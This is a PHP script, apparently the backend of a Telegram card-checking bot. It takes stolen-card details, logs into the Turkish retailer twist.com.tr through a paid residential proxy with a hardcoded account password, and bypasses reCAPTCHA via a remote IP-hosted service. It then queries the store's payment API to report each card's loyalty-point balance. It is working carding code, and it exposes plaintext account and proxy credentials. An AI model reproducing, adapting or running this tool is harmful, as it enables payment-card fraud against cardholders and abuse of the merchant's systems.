<?php
// Twist.com.tr Puan API - Session Based
header('Content-Type: text/plain; charset=utf-8');

$timestamp_start = microtime(true);

// Database functions
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌ Database connection failed");
    }
}

function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT puanlimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['puanlimit']) : 0;
}

function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET puanlimit = GREATEST(puanlimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

// Cookie helper class
class CookieJar {
    private $cookies = [];
    
    public function extractFromResponse($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getCookieHeader() {
        $cookieString = [];
        foreach ($this->cookies as $name => $value) {
            $cookieString[] = "{$name}={$value}";
        }
        return implode('; ', $cookieString);
    }
    
    public function get($name) {
        return isset($this->cookies[$name]) ? $this->cookies[$name] : null;
    }
}

// cURL helper with cookie support
function curlRequest($url, $method = 'GET', $headers = [], $postData = null, &$cookieJar = null, $proxy = null, $debug = false) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
    
    if ($proxy) {
        curl_setopt($ch, CURLOPT_PROXY, $proxy['host']);
        curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy['auth']);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
    }
    
    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    }
    
    // Add cookie header if we have cookies
    if ($cookieJar && $cookieJar->getCookieHeader()) {
        $headers[] = 'Cookie: ' . $cookieJar->getCookieHeader();
    }
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $error = curl_error($ch);
    
    curl_close($ch);
    
    $headers_response = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    // Extract cookies
    if ($cookieJar) {
        $cookieJar->extractFromResponse($headers_response);
    }
    
    if ($debug) {
        echo "[DEBUG] {$method} {$url}\n";
        echo "[DEBUG] HTTP Code: {$http_code}\n";
        if ($error) echo "[DEBUG] Error: {$error}\n";
    }
    
    return [
        'code' => $http_code,
        'body' => $body,
        'error' => $error
    ];
}

// Main execution
if (!isset($_GET['card']) || !isset($_GET['chatid'])) {
    die("❌ Kullanım: puanapi2_new.php?card=CARD|MM|YY|CVV&chatid=123456&debug=1 (optional)");
}

$chatid = $_GET['chatid'];
$card_data = $_GET['card'];
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';
$parts = explode('|', $card_data);

if (count($parts) !== 4) {
    die("❌ Hatalı format. Doğru format: CARD|MM|YY|CVV");
}

list($card_number, $month, $year, $cvc) = $parts;

// Database connection ve limit kontrolü
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($debug) {
    echo "[DEBUG] ========== PUAN2 CHECK START ==========\n";
    echo "[DEBUG] Card: {$card_data}\n";
    echo "[DEBUG] Chat ID: {$chatid}\n";
    echo "[DEBUG] Current Limit: {$current_limit}\n";
    echo "[DEBUG] ====================================\n\n";
}

if ($current_limit <= 0) {
    die("❌ Limit Exhausted | 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

// Format year
$year = (strlen($year) == 4) ? substr($year, -2) : $year;
$year = (int)$year;
$month = (int)$month;

if ($debug) {
    echo "[DEBUG] Parsed Card: {$card_number}|{$month}|{$year}|{$cvc}\n\n";
}

// Proxy setup
$proxy = [
    'host' => 'rp.scrapegw.com:6060',
    'auth' => 'ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek'
];

// Initialize cookie jar
$cookieJar = new CookieJar();

// Step 1: Visit login page
if ($debug) echo "[DEBUG] Step 1: Visiting login page...\n";

$headers1 = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8'
];

$resp1 = curlRequest('https://www.twist.com.tr/giris?returnUrl=/login', 'GET', $headers1, null, $cookieJar, $proxy, $debug);

if ($resp1['code'] != 200) {
    die("❌ Failed to visit login page | {$card_data} Limit:{$remaining_limit}");
}

if ($debug) echo "[DEBUG] Login page visited. Cookies: " . $cookieJar->getCookieHeader() . "\n\n";

// Step 2: Get AntiForgeryToken
if ($debug) echo "[DEBUG] Step 2: Getting AntiForgeryToken...\n";

$headers2 = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'Accept: */*',
    'Referer: https://www.twist.com.tr/giris?returnUrl=/login',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-Mode: cors',
    'Sec-Fetch-Dest: empty'
];

$resp2 = curlRequest('https://www.twist.com.tr/tr/Page/Get/GetAntiForgeryToken', 'GET', $headers2, null, $cookieJar, $proxy, $debug);

if ($resp2['code'] != 200) {
    die("❌ Failed to get token | {$card_data} Limit:{$remaining_limit}");
}

// Parse verification token
preg_match('/value="([^"]+)"/', $resp2['body'], $match);
$vertoken = $match[1] ?? '';

if (empty($vertoken)) {
    die("❌ Invalid token | {$card_data} Limit:{$remaining_limit}");
}

if ($debug) echo "[DEBUG] Verification Token: {$vertoken}\n\n";

// Step 3: Get ReCaptcha token
if ($debug) echo "[DEBUG] Step 3: Getting ReCaptcha token...\n";

$anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&anchor-ms=20000&execute-ms=15000&cb=sjuqj6uduxpr";
$bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);

$tempCookieJar = null;
$resp3 = curlRequest($bypass_url, 'GET', [], null, $tempCookieJar, $proxy, $debug);
$recaptcha_data = json_decode($resp3['body'], true);
$retoken = $recaptcha_data['token'] ?? '';

if (empty($retoken)) {
    die("❌ ReCaptcha failed | {$card_data} Limit:{$remaining_limit}");
}

if ($debug) echo "[DEBUG] ReCaptcha Token: " . substr($retoken, 0, 100) . "...\n\n";

// Step 4: Login
if ($debug) echo "[DEBUG] Step 4: Logging in...\n";

$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));

$postData = "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\nozgeozmen1@hotmail.com\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\ne36733673E\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"ReCaptchaToken\"\r\n\r\n{$retoken}\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n{$vertoken}\r\n";
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"returnUrl\"\r\n\r\n/tr/Widget/Get/LoginRaw\r\n";
$postData .= "--{$boundary}--\r\n";

$headers4 = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'Accept: */*',
    'Content-Type: multipart/form-data; boundary=' . $boundary,
    'Origin: https://www.twist.com.tr',
    'Referer: https://www.twist.com.tr/giris?returnUrl=/login',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-Mode: cors',
    'Sec-Fetch-Dest: empty'
];

$resp4 = curlRequest('https://www.twist.com.tr/tr/LogOn', 'POST', $headers4, $postData, $cookieJar, $proxy, $debug);

if ($resp4['code'] != 200 || strpos($resp4['body'], 'IsSuccess":true') === false) {
    if ($debug) echo "[DEBUG] Login Response: {$resp4['body']}\n";
    die("❌ Login failed | {$card_data} Limit:{$remaining_limit}");
}

if ($debug) echo "[DEBUG] Login successful!\n\n";

// Step 5: Check card
if ($debug) echo "[DEBUG] Step 5: Checking card...\n";

$payload = json_encode([
    "CreditCard" => [
        "Number" => $card_number,
        "Owner" => "test user",
        "ExpireYear" => $year,
        "ExpireMonth" => $month,
        "CVC" => $cvc
    ],
    "Money" => [
        "Amount" => 2688.95,
        "CurrencyId" => 1
    ],
    "IpAddress" => "127.0.0.1",
    "PaymentProvider" => "CreditCard"
]);

$headers5 = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'Userid: 157116',
    'Content-Type: application/json',
    'Accept: */*',
    'Origin: https://www.twist.com.tr',
    'Referer: https://www.twist.com.tr/sepet',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-Mode: cors',
    'Sec-Fetch-Dest: empty'
];

$resp5 = curlRequest('https://www.twist.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint', 'POST', $headers5, $payload, $cookieJar, $proxy, $debug);

$elapsed = number_format(microtime(true) - $timestamp_start, 1);

if ($debug) {
    echo "[DEBUG] Response Body: {$resp5['body']}\n";
    echo "[DEBUG] ========== PUAN2 CHECK END ==========\n\n";
}

if ($resp5['code'] == 200) {
    $json_response = json_decode($resp5['body'], true);
    
    if (isset($json_response['IsSuccess']) && $json_response['IsSuccess'] === true && isset($json_response['Point']['Amount'])) {
        $amount = $json_response['Point']['Amount'];
        echo "✅ {$amount}₺ | {$card_data} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    } else {
        echo "❌ 0₺ | {$card_data} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    }
} else {
    echo "❌ 0₺ | {$card_data} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}
?>
